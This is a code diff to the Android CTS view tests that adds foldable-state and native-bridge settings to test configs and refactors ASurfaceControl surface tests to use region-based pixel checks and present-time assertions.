--- a/tests/tests/view/receivecontent/AndroidTest.xml
+++ b/tests/tests/view/receivecontent/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -30,4 +31,9 @@
         <option name="package" value="android.view.cts.receivecontent" />
         <option name="runtime-hint" value="1m" />
     </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm64-v8a and device is x86_64 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+
 </configuration>
diff --git a/tests/tests/view/sdk28/AndroidTest.xml b/tests/tests/view/sdk28/AndroidTest.xml
index 70a17ea..8543723 100644
--- a/tests/tests/view/sdk28/AndroidTest.xml
+++ b/tests/tests/view/sdk28/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsViewTestCasesSdk28.apk" />
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
index fd77a14..f7ce5ca 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlBackPressureTest.java
@@ -64,7 +64,7 @@
         private final CountDownLatch mCountDownLatch = new CountDownLatch(1);
 
         @Override
-        public void onTransactionComplete(long latchTime) {
+        public void onTransactionComplete(long latchTime, long presentTime) {
             mCountDownLatch.countDown();
         }
 
@@ -136,7 +136,8 @@
                         nSurfaceTransaction_setBuffer(mSurfaceControl, surfaceTransaction,
                                 getNextBuffer());
                         if (i == 0) {
-                            nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction, listener);
+                            nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
+                                    false /* waitForFence */, listener);
                         }
                         applyAndDeleteSurfaceTransaction(surfaceTransaction);
                     }
diff --git a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
index a6ec94a..1b120f9 100644
--- a/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
+++ b/tests/tests/view/src/android/view/cts/ASurfaceControlTest.java
@@ -25,7 +25,6 @@
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceControl_createFromWindow;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceControl_release;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_apply;
-import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_checkOnComplete;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_create;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_delete;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_releaseBuffer;
@@ -33,7 +32,6 @@
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setDesiredPresentTime;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setOnCommitCallback;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setOnCommitCallbackWithoutContext;
-import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setOnComplete;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setOnCompleteCallback;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setOnCompleteCallbackWithoutContext;
 import static android.view.cts.util.ASurfaceControlTestUtils.nSurfaceTransaction_setPosition;
@@ -68,6 +66,7 @@
 import android.view.cts.surfacevalidator.PixelColor;
 import android.view.cts.util.ASurfaceControlTestUtils;
 
+import androidx.annotation.NonNull;
 import androidx.test.ext.junit.rules.ActivityScenarioRule;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -85,15 +84,13 @@
 @LargeTest
 @RunWith(AndroidJUnit4.class)
 public class ASurfaceControlTest {
-    static {
-        System.loadLibrary("ctsview_jni");
-    }
-
     private static final String TAG = ASurfaceControlTest.class.getSimpleName();
     private static final boolean DEBUG = false;
 
     private static final int DEFAULT_LAYOUT_WIDTH = 100;
     private static final int DEFAULT_LAYOUT_HEIGHT = 100;
+    private static final Rect DEFAULT_RECT = new Rect(1, 1, DEFAULT_LAYOUT_WIDTH - 1,
+            DEFAULT_LAYOUT_HEIGHT - 1);
 
     private static final PixelColor RED = new PixelColor(PixelColor.RED);
     private static final PixelColor BLUE = new PixelColor(PixelColor.BLUE);
@@ -110,6 +107,8 @@
 
     private ASurfaceControlTestActivity mActivity;
 
+    private long mDesiredPresentTime;
+
     @Before
     public void setup() {
         mActivityRule.getScenario().onActivity(activity -> mActivity = activity);
@@ -119,19 +118,40 @@
     // SurfaceHolder.Callbacks
     ///////////////////////////////////////////////////////////////////////////
 
-    private abstract class BasicSurfaceHolderCallback implements SurfaceHolder.Callback {
-        private final Set<Long> mSurfaceControls = new HashSet<>();
-        private final Set<Long> mBuffers = new HashSet<>();
+    private static class SurfaceHolderCallback implements SurfaceHolder.Callback {
+        BasicSurfaceHolderCallback mBasicSurfaceHolderCallback;
 
-        @Override
-        public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) {
-            Canvas canvas = holder.lockCanvas();
-            canvas.drawColor(Color.YELLOW);
-            holder.unlockCanvasAndPost(canvas);
+        SurfaceHolderCallback(BasicSurfaceHolderCallback basicSurfaceHolderCallback) {
+            mBasicSurfaceHolderCallback = basicSurfaceHolderCallback;
         }
 
         @Override
-        public void surfaceDestroyed(SurfaceHolder holder) {
+        public void surfaceCreated(@NonNull SurfaceHolder holder) {
+            Canvas canvas = holder.lockCanvas();
+            canvas.drawColor(Color.YELLOW);
+            holder.unlockCanvasAndPost(canvas);
+
+            mBasicSurfaceHolderCallback.surfaceCreated(holder);
+        }
+
+        @Override
+        public void surfaceChanged(@NonNull SurfaceHolder holder, int format, int width,
+                int height) {
+        }
+
+        @Override
+        public void surfaceDestroyed(@NonNull SurfaceHolder holder) {
+            mBasicSurfaceHolderCallback.surfaceDestroyed();
+        }
+    }
+
+    private abstract static class BasicSurfaceHolderCallback {
+        private final Set<Long> mSurfaceControls = new HashSet<>();
+        private final Set<Long> mBuffers = new HashSet<>();
+
+        public abstract void surfaceCreated(SurfaceHolder surfaceHolder);
+
+        public void surfaceDestroyed() {
             for (Long surfaceControl : mSurfaceControls) {
                 reparent(surfaceControl, 0);
                 nSurfaceControl_release(surfaceControl);
@@ -179,6 +199,9 @@
                 onCommitCallback.mLatch.await(1, TimeUnit.SECONDS);
             } catch (InterruptedException e) {
             }
+            if (onCommitCallback.mLatch.getCount() > 0) {
+                Log.e(TAG, "Failed to wait for commit callback");
+            }
             return buffer;
         }
 
@@ -203,6 +226,9 @@
                 onCommitCallback.mLatch.await(1, TimeUnit.SECONDS);
             } catch (InterruptedException e) {
             }
+            if (onCommitCallback.mLatch.getCount() > 0) {
+                Log.e(TAG, "Failed to wait for commit callback");
+            }
         }
     }
 
@@ -210,8 +236,9 @@
     // Tests
     ///////////////////////////////////////////////////////////////////////////
 
-    private void verifyTest(SurfaceHolder.Callback callback, PixelChecker pixelChecker) {
-        mActivity.verifyTest(callback, pixelChecker, 0 /* delayInMs */);
+    private void verifyTest(BasicSurfaceHolderCallback callback, PixelChecker pixelChecker) {
+        SurfaceHolderCallback surfaceHolderCallback = new SurfaceHolderCallback(callback);
+        mActivity.verifyTest(surfaceHolderCallback, pixelChecker);
     }
 
     @Test
@@ -453,7 +480,7 @@
                 // we don't know what variation the GPU/DPU/blitter might have. Although
                 // we don't know what shade of red might be present, we can at least check
                 // that the optimization doesn't cause the framework to drop the buffer entirely.
-                new PixelChecker(PixelColor.YELLOW) {
+                new PixelChecker(PixelColor.YELLOW, false /* logWhenNoMatch */) {
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
                         return pixelCount == 0;
@@ -494,10 +521,14 @@
                         setGeometry(surfaceControl, 0, 0, 100, 100, 10, 10, 50, 50, 0);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { //1600
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 1440 && pixelCount < 1760;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 10 && x < 50 && y >= 10 && y < 50) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -516,10 +547,14 @@
                         setGeometry(childSurfaceControl, 0, 0, 100, 100, 10, 10, 50, 50, 0);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { //1600
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 1440 && pixelCount < 1760;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 10 && x < 50 && y >= 10 && y < 50) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -580,10 +615,14 @@
                         setGeometry(surfaceControl, 0, 0, 100, 100, -30, -20, 50, 50, 0);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { //5600 (w = 80, h = 70)
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 5000 && pixelCount < 6000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x < 80 && y < 70) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -601,10 +640,14 @@
                         setGeometry(surfaceControl, 0, 0, 100, 100, 50, 50, 110, 105, 0);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { //2500
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2250 && pixelCount < 2750;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 50 && y >= 50) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -627,7 +670,7 @@
                     }
                 },
 
-                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
                     public PixelColor getExpectedColor(int x, int y) {
                         if (x >= 10 && x < 30 && y >= 10 && y < 40) {
@@ -655,7 +698,7 @@
                     }
                 },
 
-                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
                     public PixelColor getExpectedColor(int x, int y) {
                         int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
@@ -688,7 +731,7 @@
                     }
                 },
 
-                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
                     public PixelColor getExpectedColor(int x, int y) {
                         int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
@@ -720,10 +763,15 @@
                         setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 100, 100, 0);
                     }
                 },
-                new PixelChecker(PixelColor.MAGENTA) { //5000
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 4500 && pixelCount < 5500;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (y < halfHeight) {
+                            return BLUE;
+                        } else {
+                            return MAGENTA;
+                        }
                     }
                 });
     }
@@ -743,7 +791,7 @@
                     }
                 },
 
-                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
                     public PixelColor getExpectedColor(int x, int y) {
                         int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
@@ -797,11 +845,15 @@
                         setGeometry(surfaceControl, 60, 10, 90, 90, 0, 0, 100, 100,
                                 /*NATIVE_WINDOW_TRANSFORM_FLIP_H*/ 1);
                     }
-                },
-                new PixelChecker(PixelColor.BLUE) { //5000
+                }, new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 4500 && pixelCount < 5500;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (y < halfHeight) {
+                            return BLUE;
+                        } else {
+                            return MAGENTA;
+                        }
                     }
                 });
     }
@@ -821,10 +873,15 @@
                                 /*NATIVE_WINDOW_TRANSFORM_ROT_180*/ 3);
                     }
                 },
-                new PixelChecker(PixelColor.BLUE) { //5000
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 4500 && pixelCount < 5500;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (y < halfHeight) {
+                            return MAGENTA;
+                        } else {
+                            return BLUE;
+                        }
                     }
                 });
     }
@@ -872,10 +929,10 @@
                         setZOrder(surfaceControl2, 0);
                     }
                 },
-                new PixelChecker(PixelColor.YELLOW) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount == 0;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        return RED;
                     }
                 });
     }
@@ -897,10 +954,10 @@
                         setZOrder(surfaceControl2, 5);
                     }
                 },
-                new PixelChecker(PixelColor.RED) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount == 0;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        return MAGENTA;
                     }
                 });
     }
@@ -922,10 +979,10 @@
                         setZOrder(surfaceControl2, -15);
                     }
                 },
-                new PixelChecker(PixelColor.YELLOW) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount == 0;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        return RED;
                     }
                 });
     }
@@ -947,10 +1004,10 @@
                         setZOrder(surfaceControl2, Integer.MAX_VALUE);
                     }
                 },
-                new PixelChecker(PixelColor.RED) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount == 0;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        return MAGENTA;
                     }
                 });
     }
@@ -972,20 +1029,19 @@
                         setZOrder(surfaceControl2, Integer.MIN_VALUE);
                     }
                 },
-                new PixelChecker(PixelColor.YELLOW) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount == 0;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        return RED;
                     }
                 });
     }
 
     @Test
     public void testSurfaceTransaction_setOnComplete() {
+        TimedTransactionListener onCompleteCallback = new TimedTransactionListener();
         verifyTest(
                 new BasicSurfaceHolderCallback() {
-                    private long mContext;
-
                     @Override
                     public void surfaceCreated(SurfaceHolder holder) {
                         long surfaceControl = createFromWindow(holder.getSurface());
@@ -993,14 +1049,18 @@
                         long surfaceTransaction = createSurfaceTransaction();
                         setSolidBuffer(surfaceControl, surfaceTransaction, DEFAULT_LAYOUT_WIDTH,
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
-                        mContext = nSurfaceTransaction_setOnComplete(surfaceTransaction);
+                        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
+                                false /* waitForFence */, onCompleteCallback);
                         applyAndDeleteSurfaceTransaction(surfaceTransaction);
-                    }
 
-                    @Override
-                    public void surfaceDestroyed(SurfaceHolder holder) {
-                        super.surfaceDestroyed(holder);
-                        nSurfaceTransaction_checkOnComplete(mContext, -1);
+                        // Wait for callbacks to fire.
+                        try {
+                            onCompleteCallback.mLatch.await(1, TimeUnit.SECONDS);
+                        } catch (InterruptedException e) {
+                        }
+                        if (onCompleteCallback.mLatch.getCount() > 0) {
+                            Log.e(TAG, "Failed to wait for callback");
+                        }
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -1009,16 +1069,18 @@
                         return pixelCount > 9000 && pixelCount < 11000;
                     }
                 });
+
+        // Validate we got callbacks.
+        assertEquals(0, onCompleteCallback.mLatch.getCount());
+        assertTrue(onCompleteCallback.mCallbackTime > 0);
     }
 
     @Test
     @RequiresDevice // emulators can't support sync fences
     public void testSurfaceTransaction_setDesiredPresentTime_now() {
+        TimedTransactionListener onCompleteCallback = new TimedTransactionListener();
         verifyTest(
                 new BasicSurfaceHolderCallback() {
-                    private long mContext;
-                    private long mDesiredPresentTime;
-
                     @Override
                     public void surfaceCreated(SurfaceHolder holder) {
                         long surfaceControl = createFromWindow(holder.getSurface());
@@ -1028,14 +1090,17 @@
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
                         mDesiredPresentTime = nSurfaceTransaction_setDesiredPresentTime(
                                 surfaceTransaction, 0);
-                        mContext = nSurfaceTransaction_setOnComplete(surfaceTransaction);
+                        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
+                                true /* waitForFence */, onCompleteCallback);
                         applyAndDeleteSurfaceTransaction(surfaceTransaction);
-                    }
-
-                    @Override
-                    public void surfaceDestroyed(SurfaceHolder holder) {
-                        super.surfaceDestroyed(holder);
-                        nSurfaceTransaction_checkOnComplete(mContext, mDesiredPresentTime);
+                        // Wait for callbacks to fire.
+                        try {
+                            onCompleteCallback.mLatch.await(1, TimeUnit.SECONDS);
+                        } catch (InterruptedException e) {
+                        }
+                        if (onCompleteCallback.mLatch.getCount() > 0) {
+                            Log.e(TAG, "Failed to wait for callback");
+                        }
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -1044,16 +1109,22 @@
                         return pixelCount > 9000 && pixelCount < 11000;
                     }
                 });
+
+        assertEquals(0, onCompleteCallback.mLatch.getCount());
+        assertTrue(onCompleteCallback.mCallbackTime > 0);
+        assertTrue(onCompleteCallback.mLatchTime > 0);
+
+        assertTrue("transaction was presented too early. presentTime="
+                        + onCompleteCallback.mPresentTime,
+                onCompleteCallback.mPresentTime >= mDesiredPresentTime);
     }
 
     @Test
     @RequiresDevice // emulators can't support sync fences
     public void testSurfaceTransaction_setDesiredPresentTime_30ms() {
-        mActivity.verifyTest(
+        TimedTransactionListener onCompleteCallback = new TimedTransactionListener();
+        verifyTest(
                 new BasicSurfaceHolderCallback() {
-                    private long mContext;
-                    private long mDesiredPresentTime;
-
                     @Override
                     public void surfaceCreated(SurfaceHolder holder) {
                         long surfaceControl = createFromWindow(holder.getSurface());
@@ -1063,14 +1134,17 @@
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
                         mDesiredPresentTime = nSurfaceTransaction_setDesiredPresentTime(
                                 surfaceTransaction, 30000000);
-                        mContext = nSurfaceTransaction_setOnComplete(surfaceTransaction);
+                        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
+                                true /* waitForFence */, onCompleteCallback);
                         applyAndDeleteSurfaceTransaction(surfaceTransaction);
-                    }
-
-                    @Override
-                    public void surfaceDestroyed(SurfaceHolder holder) {
-                        super.surfaceDestroyed(holder);
-                        nSurfaceTransaction_checkOnComplete(mContext, mDesiredPresentTime);
+                        // Wait for callbacks to fire.
+                        try {
+                            onCompleteCallback.mLatch.await(1, TimeUnit.SECONDS);
+                        } catch (InterruptedException e) {
+                        }
+                        if (onCompleteCallback.mLatch.getCount() > 0) {
+                            Log.e(TAG, "Failed to wait for callback");
+                        }
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
@@ -1078,17 +1152,23 @@
                     public boolean checkPixels(int pixelCount, int width, int height) {
                         return pixelCount > 9000 && pixelCount < 11000;
                     }
-                }, 30 /* delayInMs */);
+                });
+
+        assertEquals(0, onCompleteCallback.mLatch.getCount());
+        assertTrue(onCompleteCallback.mCallbackTime > 0);
+        assertTrue(onCompleteCallback.mLatchTime > 0);
+
+        assertTrue("transaction was presented too early. presentTime="
+                        + onCompleteCallback.mPresentTime,
+                onCompleteCallback.mPresentTime >= mDesiredPresentTime);
     }
 
     @Test
     @RequiresDevice // emulators can't support sync fences
     public void testSurfaceTransaction_setDesiredPresentTime_100ms() {
-        mActivity.verifyTest(
+        TimedTransactionListener onCompleteCallback = new TimedTransactionListener();
+        verifyTest(
                 new BasicSurfaceHolderCallback() {
-                    private long mContext;
-                    private long mDesiredPresentTime;
-
                     @Override
                     public void surfaceCreated(SurfaceHolder holder) {
                         long surfaceControl = createFromWindow(holder.getSurface());
@@ -1098,23 +1178,34 @@
                                 DEFAULT_LAYOUT_HEIGHT, PixelColor.RED);
                         mDesiredPresentTime = nSurfaceTransaction_setDesiredPresentTime(
                                 surfaceTransaction, 100000000);
-                        mContext = nSurfaceTransaction_setOnComplete(surfaceTransaction);
+                        nSurfaceTransaction_setOnCompleteCallback(surfaceTransaction,
+                                true /* waitForFence */, onCompleteCallback);
                         applyAndDeleteSurfaceTransaction(surfaceTransaction);
-                    }
-
-                    @Override
-                    public void surfaceDestroyed(SurfaceHolder holder) {
-                        super.surfaceDestroyed(holder);
-                        nSurfaceTransaction_checkOnComplete(mContext, mDesiredPresentTime);
+                        // Wait for callbacks to fire.
+                        try {
+                            onCompleteCallback.mLatch.await(1, TimeUnit.SECONDS);
+                        } catch (InterruptedException e) {
+                        }
+                        if (onCompleteCallback.mLatch.getCount() > 0) {
+                            Log.e(TAG, "Failed to wait for callback");
+                        }
                     }
                 },
                 new PixelChecker(PixelColor.RED) { //10000
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
-                        Log.d(TAG, "pixelCount " + pixelCount);
                         return pixelCount > 9000 && pixelCount < 11000;
                     }
-                }, 100 /* delayInMs */);
+                });
+
+        assertEquals(0, onCompleteCallback.mLatch.getCount());
+
+        assertTrue(onCompleteCallback.mCallbackTime > 0);
+        assertTrue(onCompleteCallback.mLatchTime > 0);
+
+        assertTrue("transaction was presented too early. presentTime="
+                        + onCompleteCallback.mPresentTime,
+                onCompleteCallback.mPresentTime >= mDesiredPresentTime);
     }
 
     @Test
@@ -1151,14 +1242,14 @@
             }
         };
         verifyTest(callback,
-                new PixelChecker(PixelColor.YELLOW) {
+                new PixelChecker(PixelColor.YELLOW, false /* logWhenNoMatch */) {
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
                         return pixelCount == 0;
                     }
                 });
         verifyTest(callback,
-                new PixelChecker(PixelColor.RED) {
+                new PixelChecker(PixelColor.RED, false /* logWhenNoMatch */) {
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
                         return pixelCount == 0;
@@ -1206,10 +1297,14 @@
                         reparent(childSurfaceControl, parentSurfaceControl2);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { //7500
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 6750 && pixelCount < 8250;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 25) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1331,7 +1426,7 @@
                         setColor(surfaceControl, 0, 0, 1.0f, 1.0f);
                     }
                 },
-                new PixelChecker(PixelColor.RED) {
+                new PixelChecker(PixelColor.RED, false /* logWhenNoMatch */) {
                     @Override
                     public boolean checkPixels(int pixelCount, int width, int height) {
                         return pixelCount == 0;
@@ -1458,10 +1553,14 @@
                         setPosition(surfaceControl, 20, 10);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { // 7200
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 7000 && pixelCount < 8000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x >= 20 && y >= 10) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1477,13 +1576,17 @@
                         setSolidBuffer(surfaceControl, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT,
                                 PixelColor.RED);
                         // Offset -20, -10
-                        setPosition(surfaceControl,  -20, -10);
+                        setPosition(surfaceControl, -20, -10);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { // 7200
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 7000 && pixelCount < 8000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        if (x < DEFAULT_LAYOUT_WIDTH - 20 && y < DEFAULT_LAYOUT_HEIGHT - 10) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1501,10 +1604,16 @@
                         setScale(surfaceControl, .5f, .5f);
                     }
                 },
-                new PixelChecker(PixelColor.RED) { // 2500
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1524,10 +1633,16 @@
                         setBufferTransform(surfaceControl, /* NATIVE_WINDOW_TRANSFORM_ROT_90 */ 4);
                     }
                 },
-                new PixelChecker(PixelColor.BLUE) { // 2500
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return BLUE;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1547,7 +1662,7 @@
                     }
                 },
 
-                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
                     public PixelColor getExpectedColor(int x, int y) {
                         int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
@@ -1576,7 +1691,7 @@
                     }
                 },
 
-                new MultiRectChecker(new Rect(0, 0, DEFAULT_LAYOUT_WIDTH, DEFAULT_LAYOUT_HEIGHT)) {
+                new MultiRectChecker(DEFAULT_RECT) {
                     @Override
                     public PixelColor getExpectedColor(int x, int y) {
                         int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
@@ -1607,10 +1722,17 @@
                                 PixelColor.MAGENTA, PixelColor.GREEN);
                         setCrop(surfaceControl, new Rect(50, 50, 100, 100));
                     }
-                }, new PixelChecker(PixelColor.MAGENTA) {
+                }, new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        // Only Magenta is visible in the lower right quadrant
+                        if (x >= halfWidth && y >= halfHeight) {
+                            return MAGENTA;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1628,10 +1750,16 @@
                                 PixelColor.MAGENTA, PixelColor.GREEN);
                         setCrop(surfaceControl, new Rect(-50, -50, 50, 50));
                     }
-                }, new PixelChecker(PixelColor.RED) {
+                }, new MultiRectChecker(DEFAULT_RECT) {
                     @Override
-                    public boolean checkPixels(int pixelCount, int width, int height) {
-                        return pixelCount > 2000 && pixelCount < 3000;
+                    public PixelColor getExpectedColor(int x, int y) {
+                        int halfWidth = DEFAULT_LAYOUT_WIDTH / 2;
+                        int halfHeight = DEFAULT_LAYOUT_HEIGHT / 2;
+                        if (x < halfWidth && y < halfHeight) {
+                            return RED;
+                        } else {
+                            return YELLOW;
+                        }
                     }
                 });
     }
@@ -1640,11 +1768,14 @@
             ASurfaceControlTestUtils.TransactionCompleteListener {
         long mCallbackTime = -1;
         long mLatchTime = -1;
+        long mPresentTime = -1;
         CountDownLatch mLatch = new CountDownLatch(1);
+
         @Override
-        public void onTransactionComplete(long inLatchTime) {
+        public void onTransactionComplete(long inLatchTime, long presentTime) {
             mCallbackTime = SystemClock.elapsedRealtime();
             mLatchTime = inLatchTime;
+            mPresentTime = presentTime;
             mLatch.countDown();
         }
